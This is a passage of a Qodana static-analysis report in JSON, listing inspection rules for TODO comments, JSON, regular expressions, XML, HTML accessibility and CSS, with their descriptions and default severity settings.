**TODO** comments in your code.\n\nYou can configure the format for **TODO** comments in [Settings \\| Editor \\| TODO](settings://preferences.toDoOptions).\n\nEnable the **Only warn on TODO comments without any details** option to only warn on empty TODO comments, that\ndon't provide any description on the task that should be done. Disable to report all TODO comments." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "TodoComment", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Json5StandardCompliance", "shortDescription": { "text": "Compliance with JSON5 standard" }, "fullDescription": { "text": "Reports inconsistency with the language specification in a JSON5 file.", "markdown": "Reports inconsistency with [the language specification](http://json5.org) in a JSON5 file." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "Json5StandardCompliance", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JsonDuplicatePropertyKeys", "shortDescription": { "text": "Duplicate keys in object literals" }, "fullDescription": { "text": "Reports a duplicate key in an object literal.", "markdown": "Reports a duplicate key in an object literal." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JsonDuplicatePropertyKeys", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpRedundantNestedCharacterClass", "shortDescription": { "text": "Redundant nested character class" }, "fullDescription": { "text": "Reports unnecessary nested character classes. Example: '[a-c[x-z]]' After the quick-fix is applied: '[a-cx-z]' New in 2020.2", "markdown": "Reports unnecessary nested character classes.\n\n**Example:**\n\n\n [a-c[x-z]]\n\nAfter the quick-fix is applied:\n\n\n [a-cx-z]\n\nNew in 2020.2" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpRedundantNestedCharacterClass", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlDeprecatedElement", "shortDescription": { "text": "Deprecated symbol" }, "fullDescription": { "text": "Reports a deprecated XML element or attribute. Symbols can be marked by XML comment or documentation tag with text 'deprecated'.", "markdown": "Reports a deprecated XML element or attribute.\n\nSymbols can be marked by XML comment or documentation tag with text 'deprecated'." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "XmlDeprecatedElement", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlWrongAttributeValue", "shortDescription": { "text": "Wrong attribute value" }, "fullDescription": { "text": "Reports an incorrect HTML attribute value.", "markdown": "Reports an incorrect HTML attribute value." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlWrongAttributeValue", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlDefaultAttributeValue", "shortDescription": { "text": "Redundant attribute with default value" }, "fullDescription": { "text": "Reports a redundant assignment of the default value to an XML attribute.", "markdown": "Reports a redundant assignment of the default value to an XML attribute." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "XmlDefaultAttributeValue", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpOctalEscape", "shortDescription": { "text": "Octal escape" }, "fullDescription": { "text": "Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion. Example: '\\07' After the quick-fix is applied: '\\x07' New in 2017.1", "markdown": "Reports octal escapes, which are easily confused with back references. Use hexadecimal escapes to avoid confusion.\n\n**Example:**\n\n\n \\07\n\nAfter the quick-fix is applied:\n\n\n \\x07\n\nNew in 2017.1" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "RegExpOctalEscape", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnusedDefine", "shortDescription": { "text": "Unused define" }, "fullDescription": { "text": "Reports an unused named pattern ('define') in a RELAX-NG file (XML or Compact Syntax). 'define' elements that are used through an include in another file are ignored.", "markdown": "Reports an unused named pattern (`define`) in a RELAX-NG file (XML or Compact Syntax). `define` elements that are used through an include in another file are ignored." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "UnusedDefine", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RELAX NG", "index": 43, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JsonSchemaCompliance", "shortDescription": { "text": "Compliance with JSON schema" }, "fullDescription": { "text": "Reports inconsistence between a JSON file and the JSON schema that is assigned to it.", "markdown": "Reports inconsistence between a JSON file and the [JSON schema](https://json-schema.org) that is assigned to it. " }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JsonSchemaCompliance", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "EmptyDirectory", "shortDescription": { "text": "Empty directory" }, "fullDescription": { "text": "Reports empty directories. Available only from Code | Inspect Code or Code | Analyze Code | Run Inspection by Name and isn't reported in the editor. Use the Only report empty directories located under a source folder option to have only directories under source roots reported.", "markdown": "Reports empty directories.\n\nAvailable only from **Code \\| Inspect Code** or\n**Code \\| Analyze Code \\| Run Inspection by Name** and isn't reported in the editor.\n\nUse the **Only report empty directories located under a source folder** option to have only directories under source\nroots reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "EmptyDirectory", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpAnonymousGroup", "shortDescription": { "text": "Anonymous capturing group or numeric back reference" }, "fullDescription": { "text": "Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. '(?:xxx)' instead of '(xxx)'. Example: '(\\d\\d\\d\\d)\\1' A better regex pattern could look like this: '(?\\d\\d\\d\\d)\\k' New in 2017.2", "markdown": "Reports anonymous capturing groups and numeric back references in a RegExp. These are only reported when the RegExp dialect supports named group and named group references. Named groups and named back references improve code readability and are recommended to use instead. When a capture is not needed, matching can be more performant and use less memory by using a non-capturing group, i.e. `(?:xxx)` instead of `(xxx)`.\n\n**Example:**\n\n\n (\\d\\d\\d\\d)\\1\n\nA better regex pattern could look like this:\n\n\n (?\\d\\d\\d\\d)\\k\n\nNew in 2017.2" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "RegExpAnonymousGroup", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckDtdRefs", "shortDescription": { "text": "Unresolved DTD reference" }, "fullDescription": { "text": "Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files.", "markdown": "Reports inconsistency in a DTD-specific reference, for example, in a reference to an XML entity or to a DTD element declaration. Works in DTD an XML files." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CheckDtdRefs", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "NonAsciiCharacters", "shortDescription": { "text": "Non-ASCII characters" }, "fullDescription": { "text": "Reports code elements that use non-ASCII symbols in an unusual context. Example: Non-ASCII characters used in identifiers, strings, or comments. Identifiers written in different languages, such as 'myСollection' with the letter 'C' written in Cyrillic. Comments or strings containing Unicode symbols, such as long dashes and arrows.", "markdown": "Reports code elements that use non-ASCII symbols in an unusual context.\n\nExample:\n\n* Non-ASCII characters used in identifiers, strings, or comments.\n* Identifiers written in different languages, such as `my`**С**`ollection` with the letter **C** written in Cyrillic.\n* Comments or strings containing Unicode symbols, such as long dashes and arrows." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "NonAsciiCharacters", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Internationalization", "index": 61, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "LossyEncoding", "shortDescription": { "text": "Lossy encoding" }, "fullDescription": { "text": "Reports characters that cannot be displayed because of the current document encoding. Examples: If you type international characters in a document with the US-ASCII charset, some characters will be lost on save. If you load a UTF-8-encoded file using the ISO-8859-1 one-byte charset, some characters will be displayed incorrectly. You can fix this by changing the file encoding either by specifying the encoding directly in the file, e.g. by editing 'encoding=' attribute in the XML prolog of XML file, or by changing the corresponding options in Settings | Editor | File Encodings.", "markdown": "Reports characters that cannot be displayed because of the current document encoding.\n\nExamples:\n\n* If you type international characters in a document with the **US-ASCII** charset, some characters will be lost on save.\n* If you load a **UTF-8** -encoded file using the **ISO-8859-1** one-byte charset, some characters will be displayed incorrectly.\n\nYou can fix this by changing the file encoding\neither by specifying the encoding directly in the file, e.g. by editing `encoding=` attribute in the XML prolog of XML file,\nor by changing the corresponding options in **Settings \\| Editor \\| File Encodings**." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LossyEncoding", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Internationalization", "index": 61, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpRepeatedSpace", "shortDescription": { "text": "Consecutive spaces" }, "fullDescription": { "text": "Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier. Example: '( )' After the quick-fix is applied: '( {5})' New in 2017.1", "markdown": "Reports multiple consecutive spaces in a RegExp. Because spaces are not visible by default, it can be hard to see how many spaces are required. The RegExp can be made more clear by replacing the consecutive spaces with a single space and a counted quantifier.\n\n**Example:**\n\n\n ( )\n\nAfter the quick-fix is applied:\n\n\n ( {5})\n\n\nNew in 2017.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpRepeatedSpace", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpDuplicateAlternationBranch", "shortDescription": { "text": "Duplicate branch in alternation" }, "fullDescription": { "text": "Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression. Example: '(alpha|bravo|charlie|alpha)' After the quick-fix is applied: '(alpha|bravo|charlie)' New in 2017.1", "markdown": "Reports duplicate branches in a RegExp alternation. Duplicate branches slow down matching and obscure the intent of the expression.\n\n**Example:**\n\n\n (alpha|bravo|charlie|alpha)\n\nAfter the quick-fix is applied:\n\n\n (alpha|bravo|charlie)\n\nNew in 2017.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpDuplicateAlternationBranch", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "IgnoreFileDuplicateEntry", "shortDescription": { "text": "Ignore file duplicates" }, "fullDescription": { "text": "Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed. Example: '# Output directories\n /out/\n /target/\n /out/'", "markdown": "Reports duplicate entries (patterns) in the ignore file (e.g. .gitignore, .hgignore). Duplicate entries in these files are redundant and can be removed.\n\nExample:\n\n\n # Output directories\n /out/\n /target/\n /out/\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "IgnoreFileDuplicateEntry", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Version control", "index": 62, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "JsonStandardCompliance", "shortDescription": { "text": "Compliance with JSON standard" }, "fullDescription": { "text": "Reports the following discrepancies of a JSON file with the language specification: A line or block comment (configurable). Multiple top-level values (expect for JSON Lines files, configurable for others). A trailing comma in an object or array (configurable). A single quoted string. A property key is a not a double quoted strings. A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable).", "markdown": "Reports the following discrepancies of a JSON file with [the language specification](https://tools.ietf.org/html/rfc7159):\n\n* A line or block comment (configurable).\n* Multiple top-level values (expect for JSON Lines files, configurable for others).\n* A trailing comma in an object or array (configurable).\n* A single quoted string.\n* A property key is a not a double quoted strings.\n* A NaN or Infinity/-Infinity numeric value as a floating point literal (configurable)." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "JsonStandardCompliance", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckEmptyScriptTag", "shortDescription": { "text": "Empty tag" }, "fullDescription": { "text": "Reports empty tags that do not work in some browsers. Example: '\n \n '", "markdown": "Reports empty tags that do not work in some browsers.\n\n**Example:**\n\n\n \n \n \n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CheckEmptyScriptTag", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "HtmlTools", "version": "233.13017", "rules": [ { "id": "HtmlRequiredAltAttribute", "shortDescription": { "text": "Missing required 'alt' attribute" }, "fullDescription": { "text": "Reports a missing 'alt' attribute in a 'img' or 'applet' tag or in a 'area' element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: H24, H35, H36, H37.", "markdown": "Reports a missing `alt` attribute in a `img` or `applet` tag or in a `area` element of an image map. Suggests adding a required attribute with a text alternative for the contents of the tag. Based on WCAG 2.0: [H24](https://www.w3.org/TR/WCAG20-TECHS/H24.html), [H35](https://www.w3.org/TR/WCAG20-TECHS/H35.html), [H36](https://www.w3.org/TR/WCAG20-TECHS/H36.html), [H37](https://www.w3.org/TR/WCAG20-TECHS/H37.html)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlRequiredAltAttribute", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlFormInputWithoutLabel", "shortDescription": { "text": "Missing associated label" }, "fullDescription": { "text": "Reports a form element ('input', 'textarea', or 'select') without an associated label. Suggests creating a new label. Based on WCAG 2.0: H44.", "markdown": "Reports a form element (`input`, `textarea`, or `select`) without an associated label. Suggests creating a new label. Based on WCAG 2.0: [H44](https://www.w3.org/TR/WCAG20-TECHS/H44.html). " }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlFormInputWithoutLabel", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlRequiredTitleAttribute", "shortDescription": { "text": "Missing required 'title' attribute" }, "fullDescription": { "text": "Reports a missing title attribute 'frame', 'iframe', 'dl', and 'a' tags. Suggests adding a title attribute. Based on WCAG 2.0: H33, H40, and H64.", "markdown": "Reports a missing title attribute `frame`, `iframe`, `dl`, and `a` tags. Suggests adding a title attribute. Based on WCAG 2.0: [H33](https://www.w3.org/TR/WCAG20-TECHS/H33.html), [H40](https://www.w3.org/TR/WCAG20-TECHS/H40.html), and [H64](https://www.w3.org/TR/WCAG20-TECHS/H64.html)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "HtmlRequiredTitleAttribute", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlDeprecatedTag", "shortDescription": { "text": "Obsolete tag" }, "fullDescription": { "text": "Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag.", "markdown": "Reports an obsolete HTML5 tag. Suggests replacing the obsolete tag with a CSS or another tag." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlDeprecatedTag", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckImageSize", "shortDescription": { "text": "Mismatched image size" }, "fullDescription": { "text": "Reports a 'width' and 'height' attribute value of a 'img' tag that is different from the actual width and height of the referenced image.", "markdown": "Reports a `width` and `height` attribute value of a `img` tag that is different from the actual width and height of the referenced image." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CheckImageSize", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlRequiredSummaryAttribute", "shortDescription": { "text": "Missing required 'summary' attribute" }, "fullDescription": { "text": "Reports a missing 'summary' attribute in a 'table' tag. Suggests adding a'summary' attribute. Based on WCAG 2.0: H73.", "markdown": "Reports a missing `summary` attribute in a `table` tag. Suggests adding a`summary` attribute. Based on WCAG 2.0: [H73](https://www.w3.org/TR/WCAG20-TECHS/H73.html)." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "HtmlRequiredSummaryAttribute", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlRequiredLangAttribute", "shortDescription": { "text": "Missing required 'lang' attribute" }, "fullDescription": { "text": "Reports a missing 'lang' (or 'xml:lang') attribute in a 'html' tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: H57.", "markdown": "Reports a missing `lang` (or `xml:lang`) attribute in a `html` tag. Suggests adding a required attribute to state the default language of the document. Based on WCAG 2.0: [H57](https://www.w3.org/TR/WCAG20-TECHS/H57.html)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlRequiredLangAttribute", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlNonExistentInternetResource", "shortDescription": { "text": "Unresolved web link" }, "fullDescription": { "text": "Reports an unresolved web link. Works by making network requests in the background.", "markdown": "Reports an unresolved web link. Works by making network requests in the background." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlNonExistentInternetResource", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlRequiredTitleElement", "shortDescription": { "text": "Missing required 'title' element" }, "fullDescription": { "text": "Reports a missing 'title' element inside a 'head' section. Suggests adding a 'title' element. The title should describe the document. Based on WCAG 2.0: H25.", "markdown": "Reports a missing `title` element inside a `head` section. Suggests adding a `title` element. The title should describe the document. Based on WCAG 2.0: [H25](https://www.w3.org/TR/WCAG20-TECHS/H25.html)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlRequiredTitleElement", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML/Accessibility", "index": 20, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlDeprecatedAttribute", "shortDescription": { "text": "Obsolete attribute" }, "fullDescription": { "text": "Reports an obsolete HTML5 attribute.", "markdown": "Reports an obsolete HTML5 attribute." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlDeprecatedAttribute", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlPresentationalElement", "shortDescription": { "text": "Presentational tag" }, "fullDescription": { "text": "Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag.", "markdown": "Reports a presentational HTML tag. Suggests replacing the presentational tag with a CSS or another tag." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "HtmlPresentationalElement", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] } ], "language": "en-US", "contents": [ "localizedData", "nonLocalizedData" ], "isComprehensive": false }, { "name": "com.intellij.css", "version": "233.13017", "rules": [ { "id": "CssInvalidHtmlTagReference", "shortDescription": { "text": "Invalid type selector" }, "fullDescription": { "text": "Reports a CSS type selector that matches an unknown HTML element.", "markdown": "Reports a CSS [type selector](https://developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors) that matches an unknown HTML element." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssInvalidHtmlTagReference", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidCustomPropertyAtRuleDeclaration", "shortDescription": { "text": "Invalid @property declaration" }, "fullDescription": { "text": "Reports a missing required syntax, inherits, or initial-value property in a declaration of a custom property.", "markdown": "Reports a missing required [syntax](https://developer.mozilla.org/en-US/docs/web/css/@property/syntax), [inherits](https://developer.mozilla.org/en-US/docs/web/css/@property/inherits), or [initial-value](https://developer.mozilla.org/en-US/docs/web/css/@property/initial-value) property in a declaration of a custom property." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidCustomPropertyAtRuleDeclaration", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidFunction", "shortDescription": { "text": "Invalid function" }, "fullDescription": { "text": "Reports an unknown CSS function or an incorrect function parameter.", "markdown": "Reports an unknown [CSS function](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Functions) or an incorrect function parameter." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidFunction", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssMissingSemicolon", "shortDescription": { "text": "Missing semicolon" }, "fullDescription": { "text": "Reports a missing semicolon at the end of a declaration.", "markdown": "Reports a missing semicolon at the end of a declaration." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssMissingSemicolon", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Code style issues", "index": 35, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssRedundantUnit", "shortDescription": { "text": "Redundant measure unit" }, "fullDescription": { "text": "Reports a measure unit of a zero value where units are not required by the specification. Example: 'width: 0px'", "markdown": "Reports a measure unit of a zero value where units are not required by the specification.\n\n**Example:**\n\n width: 0px\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssRedundantUnit", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Code style issues", "index": 35, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssMissingComma", "shortDescription": { "text": "Missing comma in selector list" }, "fullDescription": { "text": "Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines. Example: 'input /* comma has probably been forgotten */\n.button {\n margin: 1px;\n}'", "markdown": "Reports a multi-line selector. Most likely this means that several single-line selectors are actually intended but a comma is missing at the end of one or several lines.\n\n**Example:**\n\n\n input /* comma has probably been forgotten */\n .button {\n margin: 1px;\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssMissingComma", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS/Probable bugs", "index": 45, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidPropertyValue", "shortDescription": { "text": "Invalid property value" }, "fullDescription": { "text": "Reports an incorrect CSS property value.", "markdown": "Reports an incorrect CSS property value." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidPropertyValue", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssBrowserCompatibilityForProperties", "shortDescription": { "text": "Property is incompatible with selected browsers" }, "fullDescription": { "text": "Reports a CSS property that is not supported by the specified browsers. Based on the MDN Compatibility Data.", "markdown": "Reports a CSS property that is not supported by the specified browsers. Based on the [MDN Compatibility Data](https://github.com/mdn/browser-compat-data)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssBrowserCompatibilityForProperties", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssInvalidCustomPropertyAtRuleName", "shortDescription": { "text": "Invalid @property name" }, "fullDescription": { "text": "Reports an invalid custom property name. Custom property name should be prefixed with two dashes. Example: '@property invalid-property-name {\n ...\n}\n\n@property --valid-property-name {\n ...\n}'", "markdown": "Reports an invalid custom property name. Custom property name should be prefixed with two dashes.\n\n**Example:**\n\n\n @property invalid-property-name {\n ...\n }\n\n @property --valid-property-name {\n ...\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CssInvalidCustomPropertyAtRuleName", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "CSS/Invalid elements", "index": 26, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssConvertColorToHexInspection", "shortDescription": { "text": "Color could be replaced with #-hex" }, "fullDescription": { "text": "Reports an 'rgb()', 'hsl()', or other color function. Suggests replacing a color function with an equivalent hexadecimal notation. Example: 'rgb(12, 15, 255)' After the quick-fix is applied: '#0c0fff'.", "markdown": "Reports an `rgb()`, `hsl()`, or other color function.\n\nSuggests replacing a color function with an equivalent hexadecimal notation.\n\n**Example:**\n\n rgb(12, 15, 255)\n\nAfter the quick-fix is applied:\n\n #0c0fff.\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CssConvertColorToHexInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "CSS", "index": 25, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CssReplaceWithShorthandUnsafely", "shortDescription": { "text": "Properties may probably be replaced with a shorthand" }, "fullDescription": { "text": "Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case. For example, 2 properties: 'outline-color' and 'outline-style' may be replaced with a single 'outline'. Such replacement is not 100% equivalent because shorthands reset all omitted sub-values to their initial states. In this example, switching to the 'outline' shorthand means that 'outline-width' is also set to its initial value, which is 'medium'. This inspection doesn't handle full sets of longhand properties (when switching to shorthand is 100% safe). For such cases see the 'Properties may be safely replaced with a shorthand' inspection instead.", "markdown": "Reports a set of longhand CSS properties and suggests replacing an incomplete set of longhand CSS properties with a shorthand form, which is however not 100% equivalent in this case.\n\n\nFor example, 2 properties: `outline-color` and `outline-style` may be replaced with a single 